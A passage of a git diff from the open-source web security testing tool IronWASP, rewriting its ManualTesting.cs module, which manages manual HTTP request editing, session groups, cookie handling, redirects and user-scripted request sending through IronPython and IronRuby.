FullCode.Append(" "); - FullCode.AppendLine(Line); - } - FullCode.AppendLine(" return res"); - FullCode.AppendLine(" end"); - FullCode.AppendLine("end"); - FullCode.AppendLine(""); - FullCode.AppendLine("s = SS.new"); - FullCode.AppendLine("ManualTesting.set_scripted_sender(s)"); - return SetScriptedSend(Engine, FullCode.ToString()); - } - - internal static string SetScriptedSend(ScriptEngine Engine, string Code) - { - try - { - ScriptRuntime Runtime = Engine.Runtime; - Assembly MainAssembly = Assembly.GetExecutingAssembly(); - string RootDir = Directory.GetParent(MainAssembly.Location).FullName; - Runtime.LoadAssembly(MainAssembly); - Runtime.LoadAssembly(typeof(String).Assembly); - Runtime.LoadAssembly(typeof(Uri).Assembly); - - if (Engine.Setup.DisplayName.Contains("IronPython")) - { - string[] Results = PluginEditor.CheckPythonIndentation(Code); - if (Results[1].Length > 0) - { - throw new Exception(Results[1]); - } - } - - ScriptSource Source = Engine.CreateScriptSourceFromString(Code); - Source.ExecuteProgram(); - return ""; - } - catch(Exception Exp) - { - return Exp.Message; - } - } - public static void SetScriptedSender(ScriptedSender ScSe) - { - ManualTesting.ScSe = ScSe; - } - internal static void HandleResponse(Session IrSe) - { - IrSe.FiddlerSession.state = Fiddler.SessionStates.Done; - - IronDB.LogMTResponse(IrSe.Response); - - IronUI.UpdateMTLogGridWithResponse(IrSe.Response); - - StoreInGroupList(IrSe.Response); - } - internal static void StartSend() - { - - } - internal static void EndSend() - { - - } - public static void StoreRequest(Request RequestToStore) - { - StoredRequestStack.Push(RequestToStore); - if (StoredRequestStack.Count == 1) - { - IronUI.EnableStoredRequestBtn(); - } - } - internal static bool HasStoredRequest() - { - if (StoredRequestStack.Count > 0) - { - return true; - } - else - { - return false; - } - } - internal static Request GetStoredRequest() - { - Request StoredRequest = StoredRequestStack.Pop(); - lock (StoredRequestStack) - { - StoredRequestStack.Clear(); - } - return StoredRequest; - } - internal static void UpdateCurrentRequestWithNewHeader(string HeaderString) - { - string NewRequestHeaders = HeaderString.TrimEnd(new char[] { '\r', '\n' }); - NewRequestHeaders += "\r\n\r\n"; - Request ChangedRequest = new Request(NewRequestHeaders, ManualTesting.CurrentRequestIsSSL, false); - ChangedRequest.ID = ManualTesting.CurrentRequestID; - if (ManualTesting.CurrentRequest != null) - { - byte[] OldBody = new byte[ManualTesting.CurrentRequest.BodyArray.Length]; - ManualTesting.CurrentRequest.BodyArray.CopyTo(OldBody, 0); - ChangedRequest.BodyArray = OldBody; - } - ManualTesting.CurrentRequest = ChangedRequest; - } - - internal static void UpdateCurrentRequestWithNewBodyText(string BodyString) - { - if (ManualTesting.CurrentRequest != null) - { - if (ManualTesting.CurrentRequest.IsBinary) - { - ManualTesting.CurrentRequest.BodyArray = Encoding.UTF8.GetBytes(BodyString); - } - else - { - ManualTesting.CurrentRequest.BodyString = BodyString; - } - } - } - - internal static void ResetChangedStatus() - { - ResetNonParameterChangedStatus(); - ResetParametersChangedStatus(); - RequestChanged = false; - } - internal static void ResetNonParameterChangedStatus() - { - RequestHeaderChanged = false; - RequestBodyChanged = false; - } - internal static void ResetParametersChangedStatus() - { - RequestQueryParametersChanged = false; - RequestBodyParametersChanged = false; - RequestCookieParametersChanged = false; - RequestHeaderParametersChanged = false; - } - - //internal static void StartDeSerializingRequestBody(Request Request, FormatPlugin Plugin) - //{ - // BodyFormatParamters BFP = new BodyFormatParamters(Request, Plugin); - // RequestFormatThread = new Thread(ManualTesting.DeSerializeRequestBody); - // RequestFormatThread.Start(BFP); - //} - - //internal static void DeSerializeRequestBody(object BFPObject) - //{ - // string PluginName = ""; - // try - // { - // BodyFormatParamters BFP = (BodyFormatParamters)BFPObject; - // Request Request = BFP.Request; - // FormatPlugin Plugin = BFP.Plugin; - // PluginName = Plugin.Name; - - // string XML = Plugin.ToXmlFromRequest(Request); - // IronUI.FillMTRequestFormatXML(XML); - // } - // catch (ThreadAbortException) - // { - // // - // } - // catch (Exception Exp) - // { - // IronException.Report("Error Deserializing 'Manual Testing' Request using Format Plugin - " + PluginName, Exp.Message, Exp.StackTrace); - // IronUI.ShowMTException("Error Deserializing"); - // } - //} - - //internal static void StartSerializingRequestBody(Request Request, FormatPlugin Plugin, string XML) - //{ - // BodyFormatParamters BFP = new BodyFormatParamters(Request, Plugin, XML); - // RequestFormatThread = new Thread(ManualTesting.SerializeRequestBody); - // RequestFormatThread.Start(BFP); - //} - - //internal static void SerializeRequestBody(object BFPObject) - //{ - // string PluginName = ""; - // try - // { - // BodyFormatParamters BFP = (BodyFormatParamters)BFPObject; - // Request Request = BFP.Request; - // FormatPlugin Plugin = BFP.Plugin; - // PluginName = Plugin.Name; - // string XML = BFP.XML; - - // Request NewRequest = Plugin.ToRequestFromXml(Request, XML); - // IronUI.FillMTRequestWithNewRequestFromFormatXML(NewRequest, PluginName); - // } - // catch (ThreadAbortException) - // { - // // - // } - // catch (Exception Exp) - // { - // IronException.Report("Error Serializing 'Manual Testing' Request using Format Plugin - " + PluginName, Exp.Message, Exp.StackTrace); - // IronUI.ShowMTException("Error Serializing"); - // } - //} - internal static void TerminateAllFormatThreads() - { - TerminateRequestFormatThreads(); - TerminateResponseFormatThreads(); - } - internal static void TerminateRequestFormatThreads() - { - if (RequestFormatThread != null) - { - try { RequestFormatThread.Abort(); } - catch { } - finally { RequestFormatThread = null; } - } - } - internal static void TerminateResponseFormatThreads() - { - if (ResponseFormatThread != null) - { - try { ResponseFormatThread.Abort(); } - catch { } - finally { ResponseFormatThread = null; } - } - } - - internal static Request GetRedirectRequestOnly() - { - Session CurrentSession = GroupSessions[CurrentGroup][CurrentGroupLogId[CurrentGroup]]; - if (CurrentSession.Response != null) - { - Request RedirectRequest = CurrentSession.Request.GetRedirect(CurrentSession.Response); - return RedirectRequest; - } - return null; - } - - internal static Request GetRedirect() - { - Request RedirectRequest = GetRedirectRequestOnly(); - if (RedirectRequest != null) - { - IronUI.ResetMTDisplayFields(); - Session RedirectSession = new Session(RedirectRequest); - IronUI.FillMTFields(RedirectRequest); - } - else - { - IronUI.ShowMTException("Response does not contain a redirection"); - } - return RedirectRequest; - } - - internal static void FollowRedirect() - { - Request RedirectRequest = GetRedirect(); - if (RedirectRequest != null) - { - ManualTesting.SendRequest(); - IronUI.StartMTSend(ManualTesting.CurrentRequestID); - } - } - - internal static void UpdateCookieStoreFromResponse() - { - try - { - Session CurrentSession = GroupSessions[CurrentGroup][CurrentGroupLogId[CurrentGroup]]; - if (CurrentSession.Response == null) - { - IronUI.ShowMTException("No Set-Cookie headers in the Response"); - } - else - { - CookieStore.AddToStore(CurrentSession.Request, CurrentSession.Response); - } - } - catch(Exception Exp) - { - IronUI.ShowMTException("Error reading cookies from the Response"); - IronException.Report("Error reading cookies from the Manual Testing Response", Exp); - } - } - - internal static void UpdateRequestFromCookieStore() - { - try - { - if (ManualTesting.CurrentRequest == null) - { - IronUI.ShowMTException("No valid Request found"); - } - else - { - Request NewRequest = ManualTesting.CurrentRequest.GetClone(); - CookieStore.ReadFromStore(NewRequest); - IronUI.ResetMTDisplayFields(); - IronUI.FillMTFields(NewRequest); - } - } - catch - { - IronUI.ShowMTException("No valid Request found"); - } - } - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +using System; +using System.IO; +using System.Xml; +using System.Collections; +using System.Collections.Generic; +using System.Collections.Specialized; +using System.ComponentModel; +using System.Data; +using System.Data.SQLite; +using System.Drawing; +using System.Text; +using System.Windows.Forms; +using System.Threading; +using System.Reflection; +//using Fiddler; +using Microsoft.Scripting; +using Microsoft.Scripting.Runtime; +using Microsoft.Scripting.Hosting; +using IronPython; +using IronPython.Hosting; +using IronPython.Modules; +using IronPython.Runtime; +using IronPython.Runtime.Exceptions; +using IronRuby; +using IronRuby.Hosting; +using IronRuby.Runtime; +using IronRuby.StandardLibrary; + +namespace IronWASP +{ + public class ManualTesting + { + internal static int CurrentRequestID = 0; + internal static Request CurrentRequest; + internal static bool CurrentRequestIsSSL = false; + internal static bool CurrentRequestMarked = false; + internal static ScriptedSender ScSe = new ScriptedSender(); + internal static bool ScriptedSendEnabled = false; + static Stack StoredRequestStack = new Stack(); + + internal static int UntitledCount = 0; + + //To check message editing + internal static bool RequestChanged = false; + internal static bool RequestHeaderChanged = false; + internal static bool RequestBodyChanged = false; + internal static bool RequestQueryParametersChanged = false; + internal static bool RequestBodyParametersChanged = false; + internal static bool RequestCookieParametersChanged = false; + internal static bool RequestHeaderParametersChanged = false; + + internal static Thread RequestFormatThread; + internal static Thread ResponseFormatThread; + + //internal static Dictionary RedGroupSessions = new Dictionary(); + //internal static Dictionary BlueGroupSessions = new Dictionary(); + //internal static Dictionary GreenGroupSessions = new Dictionary(); + //internal static Dictionary GrayGroupSessions = new Dictionary(); + //internal static Dictionary BrownGroupSessions = new Dictionary(); + + //internal static List GroupNames = new List(); + internal static Dictionary> GroupSessions = new Dictionary>(); + internal static Dictionary CurrentGroupLogId = new Dictionary(); + + //internal static int RedGroupID = 0; + //internal static int BlueGroupID = 0; + //internal static int GreenGroupID = 0; + //internal static int GrayGroupID = 0; + //internal static int BrownGroupID = 0; + + internal static string CurrentGroup = ""; + + internal static void SendRequest() + { + if (ManualTesting.CurrentRequest == null) return; + + if (!IronProxy.ProxyRunning) + { + throw new Exception("IronWASP Proxy is currently not running. IronWASP cannot send Requests unless the Proxy is started. Please go to the Proxy section of IronWASP and click on the 'Start Proxy' button to fix this problem."); + } + + IronUI.ResetMTResponseDisplayFields(); + Request Request = ManualTesting.CurrentRequest.GetClone(); + StringDictionary Flags = new StringDictionary(); + Flags.Add("IronFlag-BuiltBy", "ManualTestingSection"); + Request.ID = Interlocked.Increment(ref Config.TestRequestsCount); + StoreInGroupList(Request); + SetCurrentID(Request.ID); + IronDB.LogMTRequest(Request); + IronUI.UpdateMTLogGridWithRequest(Request); + Flags.Add("IronFlag-ID", Request.ID.ToString()); + Fiddler.FiddlerApplication.oProxy.InjectCustomRequest(Request.GetFiddlerHTTPRequestHeaders(), Request.BodyArray, Flags); + } + + internal static void StoreInGroupList(Request Req) + { + Session IrSe = new Session(Req); + IrSe.Flags.Add("Group", CurrentGroup); + lock (GroupSessions) + { + if (!GroupSessions.ContainsKey(CurrentGroup)) + GroupSessions[CurrentGroup] = new Dictionary(); + + if (GroupSessions[CurrentGroup].ContainsKey(Req.ID)) + GroupSessions[CurrentGroup][Req.ID] = IrSe; + else + GroupSessions[CurrentGroup].Add(Req.ID, IrSe); + } + //switch (CurrentGroup) + //{ + // case("Red"): + // IrSe.Flags.Add("Group", "Red"); + // lock (RedGroupSessions) + // { + // if (RedGroupSessions.ContainsKey(Req.ID)) + // RedGroupSessions[Req.ID] = IrSe; + // else + // RedGroupSessions.Add(Req.ID, IrSe); + // } + // IronDB.AddToTestGroup(Req.ID, "Red"); + // break; + // case ("Blue"): + // IrSe.Flags.Add("Group", "Blue"); + // lock (BlueGroupSessions) + // { + // if (BlueGroupSessions.ContainsKey(Req.ID)) + // BlueGroupSessions[Req.ID] = IrSe; + // else + // BlueGroupSessions.Add(Req.ID, IrSe); + // } + // IronDB.AddToTestGroup(Req.ID, "Blue"); + // break; + // case ("Green"): + // IrSe.Flags.Add("Group", "Green"); + // lock (GreenGroupSessions) + // { + // if (GreenGroupSessions.ContainsKey(Req.ID)) + // GreenGroupSessions[Req.ID] = IrSe; + // else + // GreenGroupSessions.Add(Req.ID, IrSe); + // } + // IronDB.AddToTestGroup(Req.ID, "Green"); + // break; + // case ("Gray"): + // IrSe.Flags.Add("Group", "Gray"); + // lock (GrayGroupSessions) + // { + // if (GrayGroupSessions.ContainsKey(Req.ID)) + // GrayGroupSessions[Req.ID] = IrSe; + // else + // GrayGroupSessions.Add(Req.ID, IrSe); + // } + // IronDB.AddToTestGroup(Req.ID, "Gray"); + // break; + // case ("Brown"): + // IrSe.Flags.Add("Group", "Brown"); + // lock (BrownGroupSessions) + // { + // if (BrownGroupSessions.ContainsKey(Req.ID)) + // BrownGroupSessions[Req.ID] = IrSe; + // else + // BrownGroupSessions.Add(Req.ID, IrSe); + // } + // IronDB.AddToTestGroup(Req.ID, "Brown"); + // break; + //} + IronDB.AddToTestGroup(Req.ID, CurrentGroup); + IronUI.UpdateTestGroupLogGridWithRequest(IrSe); + } + + internal static void StoreInGroupList(Response Res) + { + Session IrSe = null; + + foreach (string Group in GroupSessions.Keys) + { + if (GroupSessions[Group].ContainsKey(Res.ID)) + { + lock (GroupSessions) + { + GroupSessions[Group][Res.ID].Response = Res; + IrSe = GroupSessions[Group][Res.ID]; + } + break; + } + } + //if (RedGroupSessions.ContainsKey(Res.ID)) + //{ + // lock (RedGroupSessions) + // { + // RedGroupSessions[Res.ID].Response = Res; + // IrSe = RedGroupSessions[Res.ID]; + // } + //} + //else if (BlueGroupSessions.ContainsKey(Res.ID)) + //{ + // lock (BlueGroupSessions) + // { + // BlueGroupSessions[Res.ID].Response = Res; + // IrSe = BlueGroupSessions[Res.ID]; + // } + //} + //else if (GreenGroupSessions.ContainsKey(Res.ID)) + //{ + // lock (GreenGroupSessions) + // { + // GreenGroupSessions[Res.ID].Response = Res; + // IrSe = GreenGroupSessions[Res.ID]; + // } + //} + //else if (GrayGroupSessions.ContainsKey(Res.ID)) + //{ + // lock (GrayGroupSessions) + // { + // GrayGroupSessions[Res.ID].Response = Res; + // IrSe = GrayGroupSessions[Res.ID]; + // } + //} + //else if (BrownGroupSessions.ContainsKey(Res.ID)) + //{ + // lock (BrownGroupSessions) + // { + // BrownGroupSessions[Res.ID].Response = Res; + // IrSe = BrownGroupSessions[Res.ID]; + // } + //} + if (IrSe != null) + { + if (IrSe.Flags.ContainsKey("Reflecton")) + IrSe.Flags["Reflecton"] = Analyzer.CheckReflections(IrSe); + else + IrSe.Flags.Add("Reflecton", Analyzer.CheckReflections(IrSe)); + IronUI.UpdateTestGroupLogGridWithResponse(IrSe); + } + } + + internal static void SetCurrentID(int ID) + { + CurrentRequestID = ID; + CurrentGroupLogId[CurrentGroup] = ID; + //switch(CurrentGroup) + //{ + // case("Red"): + // RedGroupID = ID; + // break; + // case ("Blue"): + // BlueGroupID = ID; + // break; + // case ("Green"): + // GreenGroupID = ID; + // break; + // case ("Gray"): + // GrayGroupID = ID; + // break; + // case ("Brown"): + // BrownGroupID = ID; + // break; + //} + } + + internal static void ClearGroup() + { + ClearGroup(CurrentGroup, 0); + } + + internal static void ClearGroup(string Group, int NewID) + { + SetCurrentID(NewID); + lock(GroupSessions) + { + if (GroupSessions.ContainsKey(Group)) + { + GroupSessions.Remove(Group); + } + } + //switch (CurrentGroup) + //{ + // case("Red"): + // lock (RedGroupSessions) { RedGroupSessions.Clear(); } + // break; + // case ("Blue"): + // lock (BlueGroupSessions) { BlueGroupSessions.Clear(); } + // break; + // case ("Green"): + // lock (GreenGroupSessions) { GreenGroupSessions.Clear(); } + // break; + // case ("Gray"): + // lock (GrayGroupSessions) { GrayGroupSessions.Clear(); } + // break; + // case ("Brown"): + // lock (BrownGroupSessions) { BrownGroupSessions.Clear(); } + // break; + //} + IronDB.ClearGroup(CurrentGroup); + } + + internal static void ShowGroup(string Group) + { + //TestIDLbl.BackColor = Color.Red; + //TestIDLbl.Text = "ID: 0"; + //ManualTesting.CurrentGroup = "Red"; + ManualTesting.CurrentGroup = Group; + IronUI.ResetMTDisplayFields(); + IronUI.UpdateTestGroupLogGrid(ManualTesting.GroupSessions[Group]); + ManualTesting.ShowSession(ManualTesting.CurrentGroupLogId[Group]); + //if (ManualTesting.RedGroupID == 0) MTReqResTabs.SelectTab("MTRequestTab"); + } + + internal static string CreateNewGroupWithRequest(Request Req, bool SwitchToMTSection) + { + string Name = ""; + bool Named = false; + while (!Named) + { + Name = string.Format("untitled-{0}", Interlocked.Increment(ref ManualTesting.UntitledCount)); + if (!ManualTesting.GroupSessions.ContainsKey(Name)) + { + Named = true; + } + } + CreateNewGroupWithRequest(Req, Name, SwitchToMTSection); + return Name; + } + + internal static void CreateNewGroupWithRequest(Request Req, string Group, bool SwitchToMTSection) + { + int TestID = Interlocked.Increment(ref Config.TestRequestsCount); + Req.ID = TestID; + IronDB.LogMTRequest(Req); + //IronDB.ClearGroup(Group); + ManualTesting.CurrentRequestID = TestID; + ManualTesting.CurrentGroup = Group; + ManualTesting.ClearGroup(Group, TestID); + ManualTesting.StoreInGroupList(Req); + IronUI.SetNewTestRequest(Req, Group, SwitchToMTSection); + } + + internal static void ShowSession(int ID) + { + Session IrSe = null; + foreach (string Group in GroupSessions.Keys) + { + if(GroupSessions[Group].ContainsKey(ID)) + { + IrSe = GroupSessions[Group][ID]; + IrSe.Flags["Group"] = Group; + } + } + //if (RedGroupSessions.ContainsKey(ID)) + //{ + // lock (RedGroupSessions) { IrSe = RedGroupSessions[ID]; IrSe.Flags["Group"] = "Red"; } + //} + //else if (BlueGroupSessions.ContainsKey(ID)) + //{ + // lock (BlueGroupSessions) { IrSe = BlueGroupSessions[ID]; IrSe.Flags["Group"] = "Blue"; } + //} + //else if (GreenGroupSessions.ContainsKey(ID)) + //{ + // lock (GreenGroupSessions) { IrSe = GreenGroupSessions[ID]; IrSe.Flags["Group"] = "Green"; } + //} + //else if (GrayGroupSessions.ContainsKey(ID)) + //{ + // lock (GrayGroupSessions) { IrSe = GrayGroupSessions[ID]; IrSe.Flags["Group"] = "Gray"; } + //} + //else if (BrownGroupSessions.ContainsKey(ID)) + //{ + // lock (BrownGroupSessions) { IrSe = BrownGroupSessions[ID]; IrSe.Flags["Group"] = "Brown"; } + //} + if (IrSe != null) + { + IronUI.ResetMTDisplayFields(); + IronUI.FillMTFields(IrSe); + //if (IrSe.Flags.ContainsKey("Reflecton")) + // IronUI.FillTestReflection(IrSe.Flags["Reflecton"].ToString()); + //else + // IronUI.FillTestReflection(""); + } + } + + internal static void ShowNextSession() + { + int[] IDs = GetGroupIDs(); + if (IDs == null) return; + Array.Sort(IDs); + foreach (int i in IDs) + { + if (i > CurrentRequestID) + { + ShowSession(i); + return; + } + } + } + + internal static void ShowPreviousSession() + { + int[] IDs = GetGroupIDs(); + if (IDs == null) return; + Array.Sort(IDs); + for (int i = IDs.Length - 1; i >= 0; i-- ) + { + if (IDs[i] < CurrentRequestID) + { + ShowSession(IDs[i]); + return; + } + } + } + + static int[] GetGroupIDs() + { + if (GroupSessions.ContainsKey(CurrentGroup)) + { + int[] IDs = new int[GroupSessions[CurrentGroup].Keys.Count]; + GroupSessions[CurrentGroup].Keys.CopyTo(IDs, 0); + return IDs; + } + //switch (CurrentGroup) + //{ + // case("Red"): + // int[] RedIDs = new int[RedGroupSessions.Keys.Count]; + // RedGroupSessions.Keys.CopyTo(RedIDs, 0); + // return RedIDs; + // case ("Blue"): + // int[] BlueIDs = new int[BlueGroupSessions.Keys.Count]; + // BlueGroupSessions.Keys.CopyTo(BlueIDs, 0); + // return BlueIDs; + // case ("Green"): + // int[] GreenIDs = new int[GreenGroupSessions.Keys.Count]; + // GreenGroupSessions.Keys.CopyTo(GreenIDs, 0); + // return GreenIDs; + // case ("Gray"): + // int[] GrayIDs = new int[GrayGroupSessions.Keys.Count]; + // GrayGroupSessions.Keys.CopyTo(GrayIDs, 0); + // return GrayIDs; + // case ("Brown"): + // int[] BrownIDs = new int[BrownGroupSessions.Keys.Count]; + // BrownGroupSessions.Keys.CopyTo(BrownIDs, 0); + // return BrownIDs; + //} + return null; + } + + internal static void ScriptedSend() + { + if (ManualTesting.CurrentRequest == null) return; + IronUI.ResetMTResponseDisplayFields(); + Request Request = ManualTesting.CurrentRequest.GetClone(); + Request.ID = Interlocked.Increment(ref Config.TestRequestsCount); + StoreInGroupList(Request); + SetCurrentID(Request.ID); + IronDB.LogMTRequest(Request); + IronUI.UpdateMTLogGridWithRequest(Request); + ScriptedSender Sender = new ScriptedSender(Request.GetClone(), Request.ID, ScSe); + ThreadStart TS = new ThreadStart(Sender.DoScriptedSend); + Thread SSThread = new Thread(TS); + SSThread.Start(); + } + + internal static string SetPyScriptedSend(string FunctionCode) + { + ScriptEngine Engine = Python.CreateEngine(); + StringBuilder FullCode = new StringBuilder(); + FullCode.AppendLine("from IronWASP import *"); + FullCode.AppendLine("import re"); + FullCode.AppendLine("class ss(ScriptedSender):"); + FullCode.AppendLine(" def ScriptedSend(self, req):"); + string[] CodeLines = FunctionCode.Split(new string[] {"\r\n"}, StringSplitOptions.RemoveEmptyEntries); + foreach (string Line in CodeLines) + { + FullCode.Append(" "); + FullCode.AppendLine(Line); + } + FullCode.AppendLine(" return res"); + FullCode.AppendLine(""); + FullCode.AppendLine(""); + FullCode.AppendLine("s = ss();"); + FullCode.AppendLine("ManualTesting.SetScriptedSender(s)"); + return SetScriptedSend(Engine, FullCode.ToString()); + } + + internal static string SetRbScriptedSend(string FunctionCode) + { + ScriptEngine Engine = Ruby.CreateEngine(); + StringBuilder FullCode = new StringBuilder(); + FullCode.AppendLine("include IronWASP"); + FullCode.AppendLine("class SS < ScriptedSender"); + FullCode.AppendLine(" def scripted_send(req)"); + string[] CodeLines = FunctionCode.Split(new string[] { "\r\n" }, StringSplitOptions.RemoveEmptyEntries); + foreach (string Line in CodeLines) + { + FullCode.Append(" "); + FullCode.AppendLine(Line); + } + FullCode.AppendLine(" return res"); + FullCode.AppendLine(" end"); + FullCode.AppendLine("end"); + FullCode.AppendLine(""); + FullCode.AppendLine("s = SS.new"); + FullCode.AppendLine("ManualTesting.set_scripted_sender(s)"); + return SetScriptedSend(Engine, FullCode.ToString()); + } + + internal static string SetScriptedSend(ScriptEngine Engine, string Code) + { + try + { + ScriptRuntime Runtime = Engine.Runtime; + Assembly MainAssembly = Assembly.GetExecutingAssembly(); + string RootDir = Directory.GetParent(MainAssembly.Location).FullName; + Runtime.LoadAssembly(MainAssembly); + Runtime.LoadAssembly(typeof(String).Assembly); + Runtime.LoadAssembly(typeof(Uri).Assembly); + + if (Engine.Setup.DisplayName.Contains("IronPython")) + { + string[] Results = PluginEditor.CheckPythonIndentation(Code); + if (Results[1].Length > 0) + { + throw new Exception(Results[1]); + } + } + + ScriptSource Source = Engine.CreateScriptSourceFromString(Code); + Source.ExecuteProgram(); + return ""; + } + catch(Exception Exp) + { + return Exp.Message; + } + } + public static void SetScriptedSender(ScriptedSender ScSe) + { + ManualTesting.ScSe = ScSe; + } + internal static void HandleResponse(Session IrSe) + { + IrSe.FiddlerSession.state = Fiddler.SessionStates.Done; + + IronDB.LogMTResponse(IrSe.Response); + + IronUI.UpdateMTLogGridWithResponse(IrSe.Response); + + StoreInGroupList(IrSe.Response); + } + internal static void StartSend() + { + + } + internal static void EndSend() + { + + } + public static void StoreRequest(Request RequestToStore) + { + StoredRequestStack.Push(RequestToStore); + if (StoredRequestStack.Count == 1) + { + IronUI.EnableStoredRequestBtn(); + } + } + internal static bool HasStoredRequest() + { + if (StoredRequestStack.Count > 0) + { + return true; + } + else + { + return false; + } + } + internal static Request GetStoredRequest() + { + Request StoredRequest = StoredRequestStack.Pop(); + lock (StoredRequestStack) + { + StoredRequestStack.Clear(); + } + return StoredRequest; + } + internal static void UpdateCurrentRequestWithNewHeader(string HeaderString) + { + string NewRequestHeaders = HeaderString.TrimEnd(new char[] { '\r', '\n' }); + NewRequestHeaders += "\r\n\r\n"; + Request ChangedRequest = new Request(NewRequestHeaders, ManualTesting.CurrentRequestIsSSL, false); + ChangedRequest.ID = ManualTesting.CurrentRequestID; + if (ManualTesting.CurrentRequest != null) + { + byte[] OldBody = new byte[ManualTesting.CurrentRequest.BodyArray.Length]; + ManualTesting.CurrentRequest.BodyArray.CopyTo(OldBody, 0); + ChangedRequest.BodyArray = OldBody; + } + ManualTesting.CurrentRequest = ChangedRequest; + } + + internal static void UpdateCurrentRequestWithNewBodyText(string BodyString) + { + if (ManualTesting.CurrentRequest != null) + { + if (ManualTesting.CurrentRequest.IsBinary) + { + ManualTesting.CurrentRequest.BodyArray = Encoding.UTF8.GetBytes(BodyString); + } + else + { + ManualTesting.CurrentRequest.BodyString = BodyString; + } + } + } + + internal static void ResetChangedStatus() + { + ResetNonParameterChangedStatus(); + ResetParametersChangedStatus(); + RequestChanged = false; + } + internal static void ResetNonParameterChangedStatus() + { + RequestHeaderChanged = false; + RequestBodyChanged = false; + } + internal static void ResetParametersChangedStatus() + { + RequestQueryParametersChanged = false; + RequestBodyParametersChanged = false; + RequestCookieParametersChanged = false; + RequestHeaderParametersChanged = false; + } + + //internal static void StartDeSerializingRequestBody(Request Request, FormatPlugin Plugin) + //{ + // BodyFormatParamters BFP = new BodyFormatParamters(Request, Plugin); + // RequestFormatThread = new Thread(ManualTesting.DeSerializeRequestBody); + // RequestFormatThread.Start(BFP); + //} + + //internal static void DeSerializeRequestBody(object BFPObject) + //{ + // string PluginName = ""; + // try + // { + // BodyFormatParamters BFP = (BodyFormatParamters)BFPObject; + // Request Request = BFP.Request; + // FormatPlugin Plugin = BFP.Plugin; + // PluginName = Plugin.Name; + + // string XML = Plugin.ToXmlFromRequest(Request); + // IronUI.FillMTRequestFormatXML(XML); + // } + // catch (ThreadAbortException) + // { + // // + // } + // catch (Exception Exp) + // { + // IronException.Report("Error Deserializing 'Manual Testing' Request using Format Plugin - " + PluginName, Exp.Message, Exp.StackTrace); + // IronUI.ShowMTException("Error Deserializing"); + // } + //} + + //internal static void StartSerializingRequestBody(Request Request, FormatPlugin Plugin, string XML) + //{ + // BodyFormatParamters BFP = new BodyFormatParamters(Request, Plugin, XML); + // RequestFormatThread = new Thread(ManualTesting.SerializeRequestBody); + // RequestFormatThread.Start(BFP); + //} + + //internal static void SerializeRequestBody(object BFPObject) + //{ + // string PluginName = ""; + // try + // { + // BodyFormatParamters BFP = (BodyFormatParamters)BFPObject; + // Request Request = BFP.Request; + // FormatPlugin Plugin = BFP.Plugin; + // PluginName = Plugin.Name; + // string XML = BFP.XML; + + // Request NewRequest = Plugin.ToRequestFromXml(Request, XML); + // IronUI.FillMTRequestWithNewRequestFromFormatXML(NewRequest, PluginName); + // } + // catch (ThreadAbortException) + // { + // // + // } + // catch (Exception Exp) + // { + // IronException.Report("Error Serializing 'Manual Testing' Request using Format Plugin - " + PluginName, Exp.Message, Exp.StackTrace); + // IronUI.ShowMTException("Error Serializing"); + // } + //} + internal static void TerminateAllFormatThreads() + { + TerminateRequestFormatThreads(); + TerminateResponseFormatThreads(); + } + internal static void TerminateRequestFormatThreads() + { + if (RequestFormatThread != null) + { + try { RequestFormatThread.Abort(); } + catch { } + finally { RequestFormatThread = null; } + } + } + internal static void TerminateResponseFormatThreads() + { + if (ResponseFormatThread != null) + { + try { ResponseFormatThread.Abort(); } + catch { } + finally { ResponseFormatThread = null; } + } + } + + internal static Request GetRedirectRequestOnly() + { + Session CurrentSession = GroupSessions[CurrentGroup][CurrentGroupLogId[CurrentGroup]]; + if (CurrentSession.Response != null) + { + Request RedirectRequest = CurrentSession.Request.GetRedirect(CurrentSession.Response); + return RedirectRequest; + } + return null; + } + + internal static Request GetRedirect() + { + Request RedirectRequest = GetRedirectRequestOnly(); + if (RedirectRequest != null) + { + IronUI.ResetMTDisplayFields(); + Session RedirectSession = new Session(RedirectRequest); + IronUI.FillMTFields(RedirectRequest); + } + else + { + IronUI.ShowMTException("Response does not contain a redirection"); + } + return RedirectRequest; + } + + internal static void FollowRedirect() + { + Request RedirectRequest = GetRedirect(); + if (RedirectRequest != null) + { + ManualTesting.SendRequest(); + IronUI.StartMTSend(ManualTesting.CurrentRequestID); + } + } + + internal static void UpdateCookieStoreFromResponse() + { + try + { + Session CurrentSession = GroupSessions[CurrentGroup][CurrentGroupLogId[CurrentGroup]]; + if (CurrentSession.Response == null) + { + IronUI.ShowMTException("No Set-Cookie headers in the Response"); + } + else + { + CookieStore.AddToStore(CurrentSession.Request, CurrentSession.Response); + } + } + catch(Exception Exp) + { + IronUI.ShowMTException("Error reading cookies from the Response"); + IronException.Report("Error reading cookies from the Manual Testing Response", Exp); + } + } + + internal static void UpdateRequestFromCookieStore() + { + try + { + if (ManualTesting.CurrentRequest == null) + { + IronUI.ShowMTException("No valid Request found"); + } + else + { + Request NewRequest = ManualTesting.CurrentRequest.GetClone(); + CookieStore.ReadFromStore(NewRequest); + IronUI.ResetMTDisplayFields(); + IronUI.FillMTFields(NewRequest); + } + } + catch + { + IronUI.ShowMTException("No valid Request found"); + } + } + } +} diff --git a/IronWASP/ModDesignSurface.cs b/Iron/ModDesignSurface.cs similarity index 97% rename from IronWASP/ModDesignSurface.cs rename to Iron/ModDesignSurface.cs index fa2dd46..e6c9f6d 100644 --- a/IronWASP/ModDesignSurface.cs +++ b/Iron/ModDesignSurface.cs @@ -1,215 +1,216 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -using System; -using System.Collections; -using System.Collections.Generic; -using System.ComponentModel; -using System.ComponentModel.Design; -using System.ComponentModel.Design.Serialization; -using System.Data; -using System.Drawing; -using 